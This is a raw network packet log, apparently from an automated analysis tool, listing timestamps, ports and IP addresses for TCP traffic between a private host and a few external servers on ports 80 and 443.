Sep 6, 2024 08:17:06.102669954 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102679968 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102829933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102878094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102880001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102893114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102915049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102916002 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102926016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102937937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.102942944 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102958918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.102984905 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103142977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103184938 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103193045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103203058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103233099 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103239059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103239059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103250027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103260994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103283882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103307962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103315115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103327036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103337049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103351116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103359938 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103387117 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103415012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103425980 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103435993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103446960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103457928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103457928 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103477955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103497028 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103516102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103528023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103538036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103549004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103559017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.103564024 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103586912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.103627920 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106553078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106561899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106578112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106589079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106595993 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106607914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106620073 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106621027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106632948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106643915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106657028 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106681108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106708050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106720924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106731892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106743097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106755018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106755972 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106766939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106777906 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106782913 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106789112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.106802940 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106818914 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.106838942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107119083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107131004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107141972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107150078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107158899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107183933 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107218981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107228994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107242107 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107251883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107254028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107283115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107311964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107314110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107323885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107333899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107355118 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107373953 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107517958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107527971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107537031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107556105 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107564926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107575893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107579947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107585907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107598066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107608080 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107630014 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107649088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107671022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107681036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107691050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107703924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107714891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107722044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107732058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107742071 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107749939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107758999 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107759953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.107786894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.107809067 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108112097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108123064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108134985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108144999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108160973 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108187914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108190060 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108198881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108207941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108226061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108234882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108248949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108261108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108262062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108272076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.108280897 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108297110 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.108320951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.111433029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111445904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111454964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111480951 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111501932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111510038 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111512899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111531973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111541986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111546993 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111552954 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111571074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111574888 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111582041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111587048 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111593962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111617088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111641884 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111649036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111659050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111670971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111681938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.111686945 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111701012 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.111713886 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112009048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112027884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112037897 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112054110 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112082005 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112107992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112119913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112131119 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112149000 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112157106 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112159967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112170935 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112171888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112207890 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112230062 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112243891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112255096 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112266064 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112276077 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112289906 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112317085 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112351894 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112364054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112374067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112385988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112391949 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112396002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112405062 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112411976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112437010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112459898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112576962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112587929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112598896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112607002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112627983 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112637997 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112659931 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112804890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112816095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112828016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112852097 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112868071 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112879992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112890959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112900019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112910986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112922907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112924099 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112935066 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112950087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112955093 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112967014 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112977028 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.112979889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112992048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.112994909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113022089 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113054991 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113085985 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113142967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113173008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113209963 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113214016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113253117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113316059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113327980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113337994 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113357067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113364935 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113369942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113379002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113387108 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113418102 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113706112 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113717079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113729000 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113739967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113749981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113770008 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113776922 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113791943 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113818884 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113837004 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113847017 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113858938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113872051 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113883018 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113909006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113914967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113924980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113934040 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113945007 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113945007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113955975 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.113981962 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.113992929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114005089 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114011049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114020109 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114028931 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114047050 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114054918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114113092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114125013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114135981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114146948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114160061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114191055 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114193916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114204884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114214897 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114228010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114232063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114244938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114250898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114257097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114268064 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.114295006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114295006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.114322901 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.118593931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.118644953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.118674994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.118686914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.118711948 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.118722916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.118829012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.118839025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.118848085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.118876934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.118885040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130438089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130456924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130487919 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130506992 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130546093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130582094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130587101 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130593061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130624056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130635023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130778074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130795956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130805969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130819082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130830050 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130851984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130862951 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130865097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130873919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130887985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.130908012 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.130942106 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.147195101 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:06.147252083 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:06.147263050 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:06.147298098 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:06.147301912 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:06.147351980 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:06.147387028 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:06.151427984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151447058 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151458979 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151470900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.151488066 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.151576042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151587963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151598930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151609898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.151612997 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.151626110 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.151643991 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.155369043 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:06.155383110 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:06.156044006 CEST	80	49734	176.113.115.33	192.168.2.4
